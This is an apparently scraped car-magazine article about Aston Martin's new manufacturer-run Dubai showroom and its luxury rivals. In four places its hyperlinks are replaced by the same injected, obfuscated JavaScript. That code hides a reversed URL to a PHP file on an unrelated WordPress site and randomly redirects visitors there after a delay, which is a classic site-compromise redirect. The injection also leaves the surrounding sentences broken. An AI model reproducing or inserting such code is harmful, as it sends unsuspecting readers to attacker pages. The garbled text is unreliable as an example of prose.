Thing is there’s a lot of international competition, already based in Dubai, keen to do exactly the same. Anybody for example who can fork out $303,000 for the all-new Vanquish (which, as the flagship vehicle for Aston in the UAE, was also unveiled at the event to Adele’s ‘Skyfall’ Bond soundtrack) could probably rustle up the coffers for a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/cp-pictures-ferrari-458-italia/” target=”_blank”>Ferrari 458 Italia, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/the-management-fleet-bentley-continental-flying-spur-speed/” target=”_blank”>Bentley Continental or a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/aston-vs-porsche-rapide-vs-panamera-part-one-opening-slugfest/” target=”_blank”>Porsche Panamera, all notable (and regionally established) examples of ‘luxury’ motoring. Again, Dr Bez isn’t too concerned:
“Our cars fit in all countries. There is no society that is just loud and outgoing. There is always a demand for what style and refinement really is.”
In terms of location, Aston have certainly got the right idea: indeed, wander a little further down Emaar Boulevard and you’ll find fellow British manufacturer $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/mclaren/” target=”_blank”>McLaren, which gives you some idea of the clientele both companies are striving for.
Final questions are being asked and trays of nibbles are starting to circulate. The Aston team is looking confident. Rather than working through a partner, the showroom will be managed directly by the manufacturer itself, thus keeping long-term objectives firmly in-sight. The team will need time to acclimatise to the region and it’s – I’ll be sure to put this delicately – penchant for the outlandish and slightly exaggerated, but the fact that the new showroom is the first in the world to offer the new 565bhp V12 Vanquish to customers certainly won’t hurt.
Either way though, it’s great to see the British marque making its return, and we’re not just saying that for first dibs on the Vanquish.
Right, that’s enough context. Where’s that lady gone with the mini macaroons?
